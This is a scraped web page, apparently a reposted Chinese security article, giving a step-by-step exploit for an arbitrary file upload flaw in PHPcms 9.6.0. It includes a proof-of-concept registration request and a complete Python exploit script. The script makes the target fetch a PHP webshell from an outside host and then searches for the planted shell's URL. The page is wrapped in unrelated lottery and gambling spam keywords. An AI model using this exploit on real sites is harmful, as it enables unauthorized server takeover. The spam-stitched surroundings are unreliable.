双色球彩民乐预测 今晚双色球预测最准确号码预测 双色球开奖玩法说明 双色球中奖图片恶搞 双色球精准预测6十1玉玲珑 微信可以购买双色球吗 双色球走势图表近50期 双色球中奖方法 双色球开奖结果走势图全图 双色球连号组数怎么看 双色球开奖查询表 双色球选号技巧 双色球专家杀号360 双色球预测最准确专家 程远双色球预测分析

PHPcms9.6.0 最新版任意文件上傳漏洞(直接getshell)

webmaster 2017-04-11 21:58:06

*原創作者:三少,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載

對于PHPcms9.6.0 最新版漏洞,具體利用步驟如下:

首先我們在本地搭建一個php環境,我這里是appserv(只要可以執行php文件就行)

在根目錄下新建一個txt文本文件里面寫上php一句話,如上圖可以訪問

接著我們找到phpcms網站注冊模塊,隨便填一下信息

然后我們用burpsuite抓包

然后發送到repeater

我們在最下面的注冊那兒使用img標簽插入我們本地第一步搭建的一句話

poc如下:

siteid=1&modelid=11&username=zf1agac121&password=aasgfaewee311as&[email protected]&info[content]=<img src=http://192.168.1.157/templets/1.txt?.php#.jpg>&dosubmit=1&protocol=

只需要修改img里面的鏈接為你本地寫入的一句話即可,還有要注意的是在repeater里測試go時每一次都要修改username,password和email字段值(不能重復,汗)

我們可以看到repeater里MYSQL query成功插入,接著訪問上圖repeater里我標黃語句,執行一句話

連接菜刀,getshell

利用方式二:

利用火狐的插件,操作如下

exp如下:三少

# -*- coding:utf-8 -*-
import requests
import sys
from datetime import datetime
def getTime():
    year = str(datetime.now().year)
    month = "%02d" % datetime.now().month
    day = "%02d" % datetime.now().day
    hour = datetime.now().hour
    hour = hour - 12 if hour > 12 else hour
    hour = "%02d" % hour
    minute = "%02d" % datetime.now().minute
    second = "%02d" % datetime.now().second
    microsecond = "%06d" % datetime.now().microsecond
    microsecond = microsecond[:3]
    nowTime = year + month + day + hour + minute + second + microsecond
    return int(nowTime), year + "/" + month + day + "/"
def main():
    if len(sys.argv) < 2:
        print("[*]Usage   : Python 1.py http://xxx.com")
        sys.exit()
    host = sys.argv[1]
    url = host + "/index.php?m=member&c=index&a=register&siteid=1"
    data = {
        "siteid": "1",
        "modelid": "1",
        "username": "dsakkfaffdssdudi",
        "password": "123456",
        "email": "[email protected]",
        # 如果想使用回調的可以使用http://file.codecat.one/oneword.txt,一句話地址為.php后面加上e=YXNzZXJ0
        "info[content]": "<img src=http://file.codecat.one/normalOneWord.txt?.php#.jpg>",
        "dosubmit": "1",
        "protocol": "",
    }
    try:
        startTime, _ = getTime()
        htmlContent = requests.post(url, data=data)
        finishTime, dateUrl = getTime()
        if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
            successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
            print("[*]Shell  : %s" % successUrl)
        else:
            print("[-]Notice : writing remoteShell successfully, but failing to get the echo. You can wait the program crawl the uploadfile(in 1-3 second),or re-run the program after modifying value of username and email.\n")
            successUrl = ""
            for t in range(startTime, finishTime):
                checkUrlHtml = requests.get(
                    host + "/uploadfile/" + dateUrl + str(t) + ".php")
                if checkUrlHtml.status_code == 200:
                    successUrl = host + "/uploadfile/" + \
                        dateUrl + str(t) + ".php"
                    print("[*]Shell  : %s" % successUrl)
                    break
            if successUrl == "":
                print(
                    "[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.\n")
    except:
        print("Request Error")
if __name__ == '__main__':
    main()

 



双色球吧贴
双色球彩民乐预测 今晚双色球预测最准确号码预测 双色球开奖玩法说明 双色球中奖图片恶搞 双色球精准预测6十1玉玲珑 微信可以购买双色球吗 双色球走势图表近50期 双色球中奖方法 双色球开奖结果走势图全图 双色球连号组数怎么看 双色球开奖查询表 双色球选号技巧 双色球专家杀号360 双色球预测最准确专家 程远双色球预测分析
全天极速时时计划软件 谁有可靠的彩票平台 陕西快乐十分杀号技巧 福建体彩36选7第063期开奖 北京k10赛车开奖历史 天津时时彩摇奖直播 追单双长龙输死了 3分时时计划在线 浙江福彩20选5综合走势图 重庆时时彩直播开奖app 体彩排列五走势图带连线专业版走 黑龙江时时走势 11选五开奖内蒙遗漏号 福建时时侦破案 pk10抓7码方法 南京麻将 快传下载